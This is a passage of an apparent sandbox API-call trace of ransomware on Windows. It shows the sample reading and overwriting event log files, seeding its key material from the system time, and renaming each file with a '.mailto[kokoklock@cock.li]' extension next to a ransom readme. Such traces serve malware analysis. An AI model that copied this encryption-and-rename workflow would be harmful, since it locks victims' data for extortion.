RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce70 [0063.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce70) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.074] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9baf724, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9baf724*=0x4096, lpOverlapped=0x0) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.074] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.074] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cb00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9baf75c, lpOverlapped=0x0 | out: lpBuffer=0x347cb00*, lpNumberOfBytesWritten=0x9baf75c*=0x20, lpOverlapped=0x0) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.074] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cb50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x347cb50*, lpNumberOfBytesWritten=0x9baf770*=0x8, lpOverlapped=0x0) returned 1 [0063.075] WriteFile (in: hFile=0x3bc, lpBuffer=0x9baf788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x9baf788*, lpNumberOfBytesWritten=0x9baf770*=0x4, lpOverlapped=0x0) returned 1 [0063.075] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9baf770*=0x4, lpOverlapped=0x0) returned 1 [0063.075] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9baf770*=0x6c, lpOverlapped=0x0) returned 1 [0063.075] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x9baf770*=0x20, lpOverlapped=0x0) returned 1 [0063.075] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9baf770, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9baf770*=0x4, lpOverlapped=0x0) returned 1 [0063.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0063.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0063.075] CloseHandle (hObject=0x3bc) returned 1 [0063.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce9d8 [0063.078] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" [0063.078] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.078] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.079] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0063.079] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.079] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.079] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.079] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3f40) returned 1 [0063.079] RtlExitUserThread (Status=0x1) Thread: id = 160 os_tid = 0x10f8 [0063.080] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0063.080] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.081] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.081] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9c2fa20 | out: lpFileSize=0x9c2fa20*=69632) returned 1 [0063.081] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.081] ReadFile (in: hFile=0x3bc, lpBuffer=0x9c2f9f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x9c2f9f4*, lpNumberOfBytesRead=0x9c2f9f0*=0x4, lpOverlapped=0x0) returned 1 [0063.082] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0063.082] NtQuerySystemTime (in: CurrentTime=0x9c2f9cc | out: CurrentTime=0x9c2f9cc*=132121176209715444) returned 0x0 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xec8d3af [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x14e6e26a [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xaa4973ff [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xf8b20aa0 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x6573aace [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x48a4d508 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x8b35482e [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xbd4eeb9 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xfdc3b6b8 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x73aa938a [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x36085e40 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x5e489bc1 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x272fc8f4 [0063.082] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x606073b1 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x7fbc3c97 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x8dd3edac [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x96235028 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xb072369 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x28308326 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x2b905bd0 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xc2a493af [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xcfcfcf0b [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x16329de1 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xb842d9d1 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x4df4193f [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0xe9067117 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x7766cd2c [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x5bc5ac07 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x8188c0f2 [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x67919b6c [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x740ed03a [0063.083] RtlRandom (in: Seed=0x9c2f9d8 | out: Seed=0x9c2f9d8) returned 0x78278f15 [0063.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0063.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d078 [0063.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.094] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.094] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9c2f9a4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9c2f9a4*=0x4096, lpOverlapped=0x0) returned 1 [0063.094] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0063.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf10 [0063.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf10) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0063.095] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9c2f9a4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9c2f9a4*=0x4096, lpOverlapped=0x0) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.095] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.095] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9c2f9dc, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0x9c2f9dc*=0x20, lpOverlapped=0x0) returned 1 [0063.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.096] WriteFile (in: hFile=0x3bc, lpBuffer=0x347d078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x347d078*, lpNumberOfBytesWritten=0x9c2f9f0*=0x8, lpOverlapped=0x0) returned 1 [0063.096] WriteFile (in: hFile=0x3bc, lpBuffer=0x9c2fa08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x9c2fa08*, lpNumberOfBytesWritten=0x9c2f9f0*=0x4, lpOverlapped=0x0) returned 1 [0063.096] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x9c2f9f0*=0x4, lpOverlapped=0x0) returned 1 [0063.096] WriteFile (in: hFile=0x3bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x9c2f9f0*=0x6c, lpOverlapped=0x0) returned 1 [0063.096] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cb00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x347cb00*, lpNumberOfBytesWritten=0x9c2f9f0*=0x20, lpOverlapped=0x0) returned 1 [0063.096] WriteFile (in: hFile=0x3bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x9c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x9c2f9f0*=0x4, lpOverlapped=0x0) returned 1 [0063.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0063.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d078) returned 1 [0063.096] CloseHandle (hObject=0x3bc) returned 1 [0063.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x33ca4f8 [0063.099] wcscpy (in: _Dest=0x33ca4f8, _Source="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" [0063.099] wcscat (in: _Dest=0x33ca4f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0063.099] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.099] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca4f8) returned 1 [0063.099] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0063.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34343e8 [0063.100] wcscpy (in: _Dest=0x34343e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.100] wcscat (in: _Dest=0x34343e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.100] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34343e8) returned 1 [0063.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccaf0) returned 1 [0063.100] RtlExitUserThread (Status=0x1) Thread: id = 161 os_tid = 0x10fc [0063.101] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0063.102] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.109] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0063.109] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x9caf8b8 | out: lpFileSize=0x9caf8b8*=69632) returned 1 [0063.109] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.109] ReadFile (in: hFile=0x3bc, lpBuffer=0x9caf88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9caf888, lpOverlapped=0x0 | out: lpBuffer=0x9caf88c*, lpNumberOfBytesRead=0x9caf888*=0x4, lpOverlapped=0x0) returned 1 [0063.110] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.110] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf38 [0063.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cf88 [0063.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d078 [0063.111] NtQuerySystemTime (in: CurrentTime=0x9caf864 | out: CurrentTime=0x9caf864*=132121176210027586) returned 0x0 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xb03ceb97 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x88bc6952 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x4d0f4f45 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x9abc1319 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x2782ba16 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x1073b158 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xf6ffe35d [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x921161e2 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xef336fc9 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x7c3a1ce1 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x5622c29c [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xf9695d41 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x8e98d84b [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x2d308cad [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x106eb727 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xf3858cdc [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xc9148217 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xe5195b4c [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x8a050d2b [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xfc0466d1 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xe59a3e52 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x6617eadb [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x6a3c2de9 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x3207e9fe [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x39e153bb [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x9b203bea [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x3f8b4044 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x3f18070e [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x45c77649 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0xf141afe [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x8a4aaac9 [0063.111] RtlRandom (in: Seed=0x9caf870 | out: Seed=0x9caf870) returned 0x1a1c56aa [0063.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce20 [0063.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.123] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cf38) returned 1 [0063.123] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.123] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.123] ReadFile (in: hFile=0x3bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x9caf83c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x9caf83c*=0x4096, lpOverlapped=0x0) returned 1 [0063.124] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.124] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ce98 [0063.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ce98) returned 1 [0063.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.124] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.124] WriteFile (in: hFile=0x3bc, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x9caf83c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x9caf83c*=0x4096, lpOverlapped=0x0) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.125] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x9caf874, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0x9caf874*=0x20, lpOverlapped=0x0) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.125] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.125] WriteFile (in: hFile=0x3bc, 